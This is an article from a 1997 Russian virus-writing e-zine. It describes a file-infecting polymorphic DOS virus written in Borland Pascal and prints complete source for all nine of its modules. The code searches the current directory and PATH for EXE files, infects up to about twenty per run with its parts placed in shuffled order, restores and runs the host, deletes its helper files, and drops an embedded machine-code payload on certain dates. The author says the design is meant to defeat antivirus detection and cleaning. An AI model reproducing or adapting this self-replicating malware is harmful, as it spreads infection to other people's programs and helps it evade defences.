[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 2, May 1997 file 007
ПОЛИМОРФИКИ НА ПАСКАЛЕ
by RedArc
Вот мы рассмотрели вирусы HLLO, HLLC, HLLP на языках Pascal и Basic.
Теперь Вы можете заметить мне, что возможности по изменению исходного кода у
таких вирусов практически нет. В общем то я с вами согласен, но...
Но все гениальное просто!
Что такое полиморфный вирус? Вирус, меняющий свой код так, что
практически не имеет постоянных участков кода. Что такое вирус последнего
уровня полиморфности? Это вирус - "тосующий" участки своего кода. Короче, на
языках высокого уровня возможно создание не просто полиморфных вирусов, а
вирусов последнего (наивысшего) уровня полиморфизма! И выглядеть это может
примерно так:
[Menager]+[PartII]+[PartI]+[PartIII]+...+[PartN]+Program
Сразу возникает несколько вопросов:
- а как определить где какая часть расположена и как это все собрать?
- а нафига это все нужно, если антивирус это все вылечит не моргнув глазом?
Давайте по порядку...
Для того, чтобы определить, где какая часть находится, достаточно
составить таблицу расположения и длин участков, по которой можно будет вирус
восстановить, и, засунуть эту таблицу в любое место, к примеру в конец
программы (после истинного начала). Есть и другие варианты, одним из которых
мы и воспользуемся - наши части будут сами сообщать менеджеру о том, как она
называется и свой размер.
Для того, чтобы усложнить до максимума процедуру изучения и лечения
вируса (ответ на второй вопрос) нужно использовать операторы-мусор. Мусором в
нашем случае лучше всего может послужить код заражаемой программы, т.е.:
[Menager]+[Up0]+[PartIII]+[UpIII]+[PartI]+[UpI]+[ProgPartII]+...+[Program]
Размеры участков кода-мусора можно выбирать случайным образом и это
фиксировать в любом месте. Для простоты мы будем использовать в качеств
размера кусков мусора размеры самих частей вируса. Сами же куски мусора можно
шифровать для каждой части вируса разными алгоритмами, да и типы алгоритмов
шифрации могут быть различными для одной части вируса в зависимости хоть от
менструального цикла виноградной улитки... ;) Мне даже становится интересным,
на сколько разрастется наш любимый DrWeb, когда Данилов решиться отлавливать
таких зверушек! Но это еще не так интересно... Немного погодя вы доползете до
следующего раздела, вот где задница то для антивирусов! ;)
Ладно, пора переходить от слов к делу... Короче смотрите: полиморфик
последнего уровня полиморфности на языке Borland Pascal...
Состоит из 9 частей, при этом первая часть всегда располагается на первом
месте, следовательно вирус может принимать ограниченное число комбинаций
полиморфности (разумеется, это сделано исключительно для примера). Так же для
простоты примера шифровать мусор не будем. В качестве эффекта вирус использует
программу "переворота" экрана. Инфицированный этим вирусом файл находится в
каталоге APPENDIX.VIR с именем HLLM_PAS.EXE
=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Выкусывание частей из файла, выкусывание частей начала проги
}
PROGRAM PARTI;
USES DOS;
CONST
AllePart = 9; {Количество частей вируса}
MySize = 5120; {Длина этой части}
VAR
S : String;
T : Text;
W : Word;
F, F1 : File;
I : Byte;
PROCEDURE CALK (Name, Name1 : String; Size : Word);
VAR
P : Pointer;
Count : Word;
Count1 : Word;
L : LongInt;
A : Word;
D1, D2 : LongInt;
BEGIN
Assign (F, Name);
GetFAttr (F, A);
SetFAttr (F, Archive);
FileMode := 2;
ReSet (F, 1);
GetFTime (F, L);
Assign (F1, Name1);
ReWrite (F1, 1);
GetMem (P, Size);
BlockRead (F, P^, Size, Count);
BlockWrite (F1, P^, Size, Count);
Close (F1);
SetFAttr (F1, ReadOnly);
Assign (F1, 'BUILD.SWP');
FileMode := 2;
ReSet (F1, 1);
IF IOResult <> 0 THEN ReWrite (F1, 1) ELSE Seek (F1, FileSize (F1));
BlockRead (F, P^, Size, Count);
BlockWrite (F1, P^, Size, Count);
D2 := FilePos (F);
D1 := 0;
FreeMem (P, Size);
GetMem (P, 65530);
WHILE D2 < FileSize (F) DO BEGIN
Seek (F, D2);
BlockRead (F, P^, 65500, Count);
D2 := FilePos (F);
Seek (F, D1);
BlockWrite (F, P^, Count, Count1);
D1 := FilePos (F);
END;
Truncate (F);
FreeMem (P, 65530);
Close (F1);
SetFTime (F, L);
Close (F);
SetFAttr (F, A);
END;
PROCEDURE GetCommand;
VAR
I : Byte;
BEGIN
IF ParamCount > 0 THEN BEGIN
S := '';
FOR I := 1 TO ParamCount DO
S := S + ParamStr (I) + ' ';
END ELSE S := '';
Assign (T, 'PARAM.SWP');
ReWrite (T);
WriteLn (T, ParamStr (0));
WriteLn (T, S);
Close (T);
END;
PROCEDURE ExecFile (FileName, Param : String);
BEGIN
SwapVectors;
Exec (FileName, Param);
SwapVectors;
END;
PROCEDURE Work;
BEGIN
ExecFile ('PARAMV.EXE', '');
ExecFile ('PARAMVI.EXE', '');
ExecFile ('PARAMVII.EXE', '');
ExecFile ('PARAMV_.EXE', '');
Assign (T, 'PARAM.SWP');
Erase (T);
ExecFile ('PARAMIX.EXE', '');
END;
BEGIN
GetCommand;
CALK (ParamStr (0), 'PARAMI.EXE', MySize);
FOR I := 1 TO AllePart-1 DO BEGIN
ExecFile (ParamStr (0), '@#$%');
Assign (T, 'Exchange.swp');
ReSet (T);
ReadLn (T, S);
ReadLn (T, W);
Close (T);
Erase (T);
CALK (ParamStr (0), S, W);
END;
ExecFile ('PARAMII.EXE', 'banzai');
Work;
END.
=== Cut ===
=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Восстановление программы-носителя и ее запуск на исполнение
}
PROGRAM PARTII;
USES DOS;
CONST
MyName = 'PARAMII.EXE';
MySize = 4643;
VAR
S : String;
S1 : String;
I : Byte;
T : Text;
F, F1 : File;
PROCEDURE ExecFile (FileName, Param : String);
BEGIN
SwapVectors;
Exec (FileName, Param);
SwapVectors;
END;
PROCEDURE BANZAI;
VAR
L : LongInt;
A : Word;
Count, Count1 : Word;
P : Pointer;
BEGIN
Assign (T, 'PARAM.SWP');
ReSet (T);
ReadLn (T, S);
ReadLn (T, S1);
Close (T);
FileMode := 2;
Assign (F, S);
Assign (F1, 'BUILD.SWP');
GetFAttr (F1, A);
SetFAttr (F1, Archive);
ReSet (F1, 1);
GetFTime (F1, L);
Seek (F1, FileSize (F1));
ReSet (F, 1);
GetMem (P, 65530);
REPEAT
BlockRead (F, P^, 65500, Count);
BlockWrite (F1, P^, Count, Count1);
UNTIL Count <> 65500;
FreeMem (P, 65530);
Close (F);
Erase (F);
SetFTime (F1, L);
Close (F1);
SetFAttr (F1, A);
Rename (F1, S);
END;
BEGIN
IF ParamStr (1) = '@#$%' THEN BEGIN
Assign (T, 'Exchange.swp');
ReWrite (T);
WriteLn (T, MyName);
WriteLn (T, MySize);
Close (T);
END ELSE BEGIN
BANZAI;
ExecFile (S, S1);
END;
END.
=== Cut ===
=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Получение атрибута файла
}
PROGRAM PARTIII;
USES DOS;
CONST
MyName = 'PARAMIII.EXE';
MySize = 3376;
VAR
F : File;
T : Text;
L : LongInt;
W : Word;
PROCEDURE GetTimeAttr;
BEGIN
Assign (F, ParamStr (1));
GetFAttr (F, W);
FileMode := 0;
ReSet (F);
GetFTime (F, L);
Close (F);
Assign (T, 'TimeAttr.swp');
ReWrite (T);
WriteLn (T, W);
WriteLn (T, L);
Close (T);
END;
BEGIN
IF ParamStr (1) = '@#$%' THEN BEGIN
Assign (T, 'Exchange.swp');
ReWrite (T);
WriteLn (T, MyName);
WriteLn (T, MySize);
Close (T);
END ELSE GetTimeAttr;
END.
=== Cut ===
=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Установление атрибута файла
}
PROGRAM PARTIV;
USES DOS;
CONST
MyName = 'PARAMIV.EXE';
MySize = 3392;
VAR
F : File;
T : Text;
L : LongInt;
W : Word;
PROCEDURE SetTimeAttr;
BEGIN
Assign (T, 'TimeAttr.swp');
ReSet (T);
ReadLn (T, W);
ReadLn (T, L);
Close (T);
Assign (F, ParamStr (1));
FileMode := 2;
ReSet (F,1);
SetFTime (F, L);
Close (F);
SetFAttr (F, W);
END;
BEGIN
IF ParamStr (1) = '@#$%' THEN BEGIN
Assign (T, 'Exchange.swp');
ReWrite (T);
WriteLn (T, MyName);
WriteLn (T, MySize);
Close (T);
END ELSE SetTimeAttr;
END.
=== Cut ===
=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Поиск файлов в текущем каталоге и по PATH
}
PROGRAM PARTV;
USES DOS;
CONST
MyName = 'PARAMV.EXE';
MySize = 4135;
Ident = 'MooN_BuG // Polymorphic.Pascal';
MinLength = 60*1024; {Минимальный размер заражаемого файла}
VAR
T : Text;
Hom : DirStr;
Nam : NameStr;
Ext : ExtStr;
PROCEDURE FindFileInCurrentDir (Dir : String; Flag : Boolean);
VAR
SR : SearchRec;
BEGIN
Assign (T, 'FileAll.SWP');
IF Flag THEN
ReWrite (T)
ELSE Append (T);
FindFirst (DIR + '\*.EXE', Archive, SR);
While DosError = 0 Do Begin
IF SR.Size > MinLength THEN BEGIN
WriteLn (T,Dir+'\'+SR.Name);
END;
FindNext (SR);
End;
Close (T);
END;
PROCEDURE FindFileFromPATH;
VAR
PS : String;
S : String;
Ch : Char;
I : Byte;
BEGIN
PS := GetEnv ('PATH');
S := '';
I := 1;
REPEAT
IF I >= Length (PS)+1 THEN BEGIN
IF S <> '' THEN BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult = 0 THEN BEGIN
ChDir (Hom);
FindFileInCurrentDir (S, False);
END;
END;
Break;
END;
Ch := PS [I];
Inc (I);
IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult <> 0 THEN BEGIN
WriteLn (Ident); {Сообщение идентификационной информации}
S := '';
Continue;
END;
ChDir (Hom);
FindFileInCurrentDir (S, False);
S := '';
END;
UNTIL False;
ChDir (Hom);
END;
PROCEDURE FindFileAll;
BEGIN
FSplit (FExpand (ParamStr(0)), Hom, Nam, Ext);
IF Hom[Length(Hom)] = '\' THEN Delete (Hom, Length (Hom), 1);
FindFileInCurrentDir (Hom, True);
FindFileFromPATH;
END;
BEGIN
IF ParamStr (1) = '@#$%' THEN BEGIN
Assign (T, 'Exchange.swp');
ReWrite (T);
WriteLn (T, MyName);
WriteLn (T, MySize);
Close (T);
END ELSE FindFileAll;
END.
=== Cut ===
=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Проверка файлов на присутствие вируса и отбор максимального количества
файлов, заражаемых за один раз
}
{$I-}
PROGRAM PARTVI;
CONST
MyName = 'PARAMVI.EXE';
MySize = 3576;
MaxCount = 20; {Количество файлов, заражаемых за один раз}
VAR
F : File;
T, T1 : Text;
L, L1 : LongInt;
W : Word;
Count : Word;
B : Byte;
PROCEDURE TestAllFile;
VAR
S : String;
Temp1, Temp2 : Array [1..1024] OF Byte;
Flag : Boolean;
BEGIN
Assign (F, 'PARAMI.EXE');
FileMode := 0;
ReSet (F, 1024);
BlockRead (F, Temp1, 1, W);
Close (F);
Assign (T, 'FileAll.SWP');
ReSet (T);
Assign (T1, 'FileAllP.SWP');
ReWrite (T1);
Count := 0;
WHILE EOF (T) = FALSE DO BEGIN
ReadLn (T, S);
Assign (F, S);
FileMode := 0;
ReSet (F, 1024);
BlockRead (F, Temp2, 1, W);
Close (F);
Flag := False;
FOR W := 1 TO SizeOf (Temp1) DO
IF Temp1 [W] <> Temp2 [W] THEN BEGIN
Flag := True;
Break;
END;
IF Flag THEN BEGIN
WriteLn (T1, S);
Count := Count + 1;
IF Count > MaxCount THEN Break;
END;
END;
Close (T);
Erase (T);
Close (T1);
Rename (T1, 'FileAll.SWP');
END;
BEGIN
IF ParamStr (1) = '@#$%' THEN BEGIN
Assign (T, 'Exchange.swp');
ReWrite (T);
WriteLn (T, MyName);
WriteLn (T, MySize);
Close (T);
END ELSE TestAllFile;
END.
=== Cut ===
=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Инфицирование программ
}
PROGRAM PARTVII;
USES DOS;
CONST
MyName = 'PARAMVII.EXE';
MySize = 5063;
Names : Array [1..9] OF String [12] =
('PARAMI.EXE', 'PARAMII.EXE', 'PARAMIII.EXE', 'PARAMIV.EXE',
'PARAMV.EXE', 'PARAMVI.EXE', 'PARAMVII.EXE', 'PARAMV_.EXE',
'PARAMIX.EXE');
Lengt : Array [1..9] OF Word =
(5120, 4643, 3376, 3392, 4135, 3576, MySize, 3430, 3983);
Flags : Array [1..9] OF Boolean =
(False, False, False, False, False, False, False, False, False);
VAR
T : Text;
F, F1, F2 : File;
W : Word;
L : LongInt;
A, B : Word;
PROCEDURE ExecFile (FileName, Param : String);
BEGIN
SwapVectors;
Exec (FileName, Param);
SwapVectors;
END;
PROCEDURE CalculateBuild (S : String);
VAR
I, J : Byte;
P : Pointer;
BEGIN
Randomize;
Assign (F, 'Build.swp');
ReWrite (F, 1);
GetMem (P, 65530);
I := 1;
J := 0;
REPEAT
Flags [I] := True;
Assign (F2, Names [I]);
FileMode := 0;
ReSet (F2, 1);
BlockRead (F2, P^, Lengt [I], A);
BlockWrite (F, P^, A, B);
Close (F2);
BlockRead (F1, P^, Lengt [I], A);
BlockWrite (F, P^, A, B);
J := J + 1;
IF J >= 9 THEN Break;
IF J = 8 THEN BEGIN
I := 1;
WHILE Flags [I] = True DO I := I + 1;
END ELSE BEGIN
WHILE Flags [I] = True DO I := 1 + Random (9);
END;
UNTIL False;
REPEAT
BlockRead (F1, P^, 65500, A);
BlockWrite (F, P^, A, B);
IF FilePos (F1) = FileSize (F1) THEN Break;
UNTIL False;
Close (F1);
Erase (F1);
Close (F);
Rename (F, S);
FreeMem (P, 65530);
END;
PROCEDURE InfectFromListing;
VAR
S : String;
BEGIN
Assign (T, 'FileAll.SWP');
ReSet (T);
WHILE EOF (T) = False DO BEGIN
ReadLn (T, S);
ExecFile ('PARAMIII.EXE', S);
Assign (F1, S);
ReSet (F1, 1);
CalculateBuild (S);
ExecFile ('PARAMIV.EXE', S);
Assign (F2, 'timeattr.swp');
Erase (F2);
FOR W := 1 TO 9 DO
Flags [W] := False;
END;
Close (T);
Erase (T);
END;
BEGIN
IF ParamStr (1) = '@#$%' THEN BEGIN
Assign (T, 'Exchange.swp');
ReWrite (T);
WriteLn (T, MyName);
WriteLn (T, MySize);
Close (T);
END ELSE InfectFromListing;
END.
=== Cut ===
=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Заметание следов
}
PROGRAM PARTV_;
USES DOS;
CONST
MyName = 'PARAMV_.EXE';
MySize = 3430;
Names : Array [1..9] OF String [12] =
('PARAMI.EXE', 'PARAMII.EXE', 'PARAMIII.EXE', 'PARAMIV.EXE',
'PARAMV.EXE', 'PARAMVI.EXE', 'PARAMVII.EXE', 'PARAMV_.EXE',
'PARAMIX.EXE');
VAR
T : Text;
PROCEDURE Killer;
VAR
F : File;
I : Byte;
BEGIN
FOR I := 1 TO 9 DO BEGIN
Assign (F, Names [I]);
SetFAttr (F, Archive);
Erase (F);
END;
END;
BEGIN
IF ParamStr (1) = '@#$%' THEN BEGIN
Assign (T, 'Exchange.swp');
ReWrite (T);
WriteLn (T, MyName);
WriteLn (T, MySize);
Close (T);
END ELSE Killer;
END.
=== Cut ===
=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Effect
}
PROGRAM PARTIX;
USES DOS;
CONST
MyName = 'PARAMIX.EXE';
MySize = 3983;
COM_FILE : Array [1..305] OF Byte =
($E9,$14,$01,$00,$01,$EB,$00,$50,$53,$51,$52,$1E,$B0,$1D,$2E,$A2,
$06,$01,$B8,$40,$00,$8E,$D8,$E8,$71,$00,$1F,$5A,$59,$5B,$58,$2E,
$FF,$2E,$00,$01,$9C,$2E,$FF,$1E,$00,$01,$1E,$06,$50,$B8,$40,$00,
$8E,$D8,$80,$3E,$49,$00,$03,$77,$4E,$2E,$FE,$0E,$04,$01,$75,$47,
$FA,$2E,$C6,$06,$04,$01,$01,$51,$52,$56,$57,$8B,$36,$4E,$00,$A1,
$4A,$00,$8A,$0E,$84,$00,$FE,$C1,$F6,$E1,$8B,$C8,$D1,$E0,$05,$FE,
$3F,$8B,$F8,$B8,$00,$B8,$8E,$D8,$8E,$C0,$BA,$D4,$03,$B0,$0C,$EE,
$42,$B0,$20,$EE,$4A,$B0,$0D,$EE,$42,$B0,$00,$EE,$FC,$AD,$FD,$AB,
$FC,$E2,$FA,$5F,$5E,$5A,$59,$58,$07,$1F,$CF,$56,$E8,$64,$00,$B9,
$00,$01,$BE,$00,$00,$8B,$16,$85,$00,$4A,$B8,$00,$A0,$8E,$D8,$56,
$8B,$DE,$03,$DA,$8A,$04,$8A,$27,$D0,$D8,$D0,$D4,$D0,$D8,$D0,$D4,
$D0,$D8,$D0,$D4,$D0,$D8,$D0,$D4,$D0,$D8,$D0,$D4,$D0,$D8,$D0,$D4,
$D0,$D8,$D0,$D4,$D0,$D8,$D0,$D4,$D0,$D8,$88,$04,$88,$27,$46,$4B,
$3B,$F3,$76,$D0,$5E,$83,$C6,$20,$E2,$C5,$E8,$1B,$00,$5E,$C3,$02,
$04,$04,$07,$05,$00,$06,$04,$04,$02,$02,$03,$04,$03,$05,$10,$06,
$0E,$04,$00,$BE,$DF,$01,$EB,$03,$BE,$E9,$01,$B9,$02,$00,$BA,$C4,
$03,$E8,$04,$00,$B1,$03,$B2,$CE,$2E,$8A,$04,$46,$EE,$42,$2E,$8A,
$04,$46,$EE,$4A,$E2,$F2,$C3,$B8,$08,$35,$CD,$21,$8C,$06,$02,$01,
$89,$1E,$00,$01,$B8,$08,$25,$BA,$05,$01,$CD,$21,$BA,$17,$02,$CD,
$27);
VAR
T : Text;
PROCEDURE ExecFile (FileName, Param : String);
BEGIN
SwapVectors;
Exec (FileName, Param);
SwapVectors;
END;
PROCEDURE Effect;
VAR
Y, M, D, DOW : Word;
F : File;
BEGIN
GetDate (Y, M, D, DOW);
IF (M <> D) AND (M <> DOW) THEN Exit;
GetTime (Y, M, D, DOW);
IF (Y <> M) THEN Exit;
Assign (F, 'moon_bug.com');
ReWrite (F, 305);
BlockWrite (F, COM_FILE, 1, Y);
Close (F);
ExecFile ('moon_bug.com', '');
Assign (F, 'moon_bug.com');
Erase (F);
END;
BEGIN
IF ParamStr (1) = '@#$%' THEN BEGIN
Assign (T, 'Exchange.swp');
ReWrite (T);
WriteLn (T, MyName);
WriteLn (T, MySize);
Close (T);
END ELSE Effect;
END.
=== Cut ===